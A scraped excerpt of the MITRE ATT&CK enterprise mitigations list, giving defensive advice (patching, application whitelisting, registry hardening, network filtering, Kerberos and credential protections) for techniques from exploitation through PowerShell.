Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.
T1212Exploitation for Credential Access MitigationUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
T1211Exploitation for Defense Evasion MitigationUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
T1068Exploitation for Privilege Escalation MitigationUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.
T1210Exploitation of Remote Services MitigationSegment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.
T1133External Remote Services MitigationLimit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as Windows Remote Management. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of Multi-Factor Authentication Interception techniques for some two-factor authentication implementations.
T1181Extra Window Memory Injection MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1008Fallback Channels MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1083File and Directory Discovery MitigationFile system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
IDNameDescription
T1107File Deletion MitigationIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1006File System Logical Offsets MitigationIdentify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1044File System Permissions Weakness MitigationUse auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC’s privilege elevation for standard users [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]to automatically deny elevation requests, add: “ConsentPromptBehaviorUser”=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: “EnableInstallerDetection”=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: “EnableInstallerDetection”=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.
M1037Filter Network TrafficUse network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
T1495Firmware Corruption MitigationPrevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.
T1187Forced Authentication MitigationBlock SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.
T1144Gatekeeper Bypass MitigationOther tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.
T1061Graphical User Interface MitigationPrevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1200Hardware Additions MitigationEstablish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.

Block unknown devices and accessories by endpoint security configuration and monitoring agent.
T1158Hidden Files and Directories MitigationMitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.
T1147Hidden Users MitigationIf the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.
T1143Hidden Window MitigationWhitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.
T1148HISTCONTROL MitigationPrevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.
T1179Hooking MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
T1062Hypervisor MitigationPrevent adversary access to privileged accounts necessary to install a hypervisor.
T1183Image File Execution Options Injection MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.
T1054Indicator Blocking MitigationEnsure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.
T1066Indicator Removal from Tools MitigationMitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1070Indicator Removal on Host MitigationAutomatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.
T1202Indirect Command Execution MitigationIdentify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)
T1490Inhibit System Recovery MitigationConsider technical controls to prevent the disabling of services or deletion of files involved in system recovery.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
T1141Input Prompt MitigationThis technique exploits users’ tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).
T1130Install Root Certificate MitigationHTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)
T1118InstallUtil MitigationInstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
T1208Kerberoasting MitigationEnsure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)
T1215Kernel Modules and Extensions MitigationCommon tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.

Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)
T1142Keychain MitigationThe password for the user’s login keychain can be changed from the user’s login password. This increases the complexity for an adversary because they need to know an additional password.
T1159Launch Agent MitigationRestrict user’s abilities to create Launch Agents with group policy.
T1160Launch Daemon MitigationLimit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.
T1152Launchctl MitigationPrevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.
T1161LC_LOAD_DYLIB Addition MitigationEnforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.
T1149LC_MAIN Hijacking MitigationEnforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.
M1035Limit Access to Resource Over NetworkPrevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
M1034Limit Hardware InstallationBlock users or groups from installing or using unapproved hardware on systems, including USB devices.
M1033Limit Software InstallationBlock users or groups from installing unapproved software.
T1171LLMNR/NBT-NS Poisoning MitigationDisable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)

Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)
T1168Local Job Scheduling MitigationLimit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.
T1162Login Item MitigationRestrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).
T1037Logon Scripts MitigationRestrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
T1177LSASS Driver MitigationOn Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)
T1185Man in the Browser MitigationSince browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.
T1036Masquerading MitigationWhen creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1031Modify Existing Service MitigationUse auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
T1112Modify Registry MitigationMisconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1170Mshta MitigationMshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
M1032Multi-factor AuthenticationUse two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.
T1188Multi-hop Proxy MitigationTraffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.
T1104Multi-Stage Channels MitigationCommand and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)
T1026Multiband Communication MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1079Multilayer Encryption MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)
T1128Netsh Helper DLL MitigationIdentify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)
T1498Network Denial of Service MitigationWhen flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)
M1031Network Intrusion PreventionUse intrusion detection signatures to block traffic at network boundaries.
M1030Network SegmentationArchitect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.
T1046Network Service Scanning MitigationUse network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1126Network Share Connection Removal MitigationFollow best practices for mitigation of activity related to establishing Windows Admin Shares.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1135Network Share Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1040Network Sniffing MitigationEnsure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.

Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1050New Service MitigationLimit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.

Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1096NTFS File Attributes MitigationIt may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)
M1028Operating System ConfigurationMake configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
T1075Pass the Hash MitigationMonitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary’s ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.
T1097Pass the Ticket MitigationMonitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1174Password Filter DLL MitigationEnsure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\Windows\System32</code> by default) of a domain controller and/or local computer with a corresponding entry in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages`. (Citation: Microsoft Install Password Filter n.d)
M1027Password PoliciesSet and enforce secure password policies for accounts.
T1201Password Policy Discovery MitigationMitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)
T1034Path Interception MitigationEliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\Windows</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.
T1120Peripheral Device Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1069Permission Groups Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1150Plist Modification MitigationPrevent plist files from being modified by users by making them read-only.
T1205Port Knocking MitigationMitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.
T1013Port Monitors MitigationIdentify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.
T1086PowerShell MitigationIt may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
M1056Pre-compromiseThis category is used for any applicable mitigation activities that apply to techniques occurring before an adversary gains Initial Access, such as Reconnaissance and Resource Development techniques.
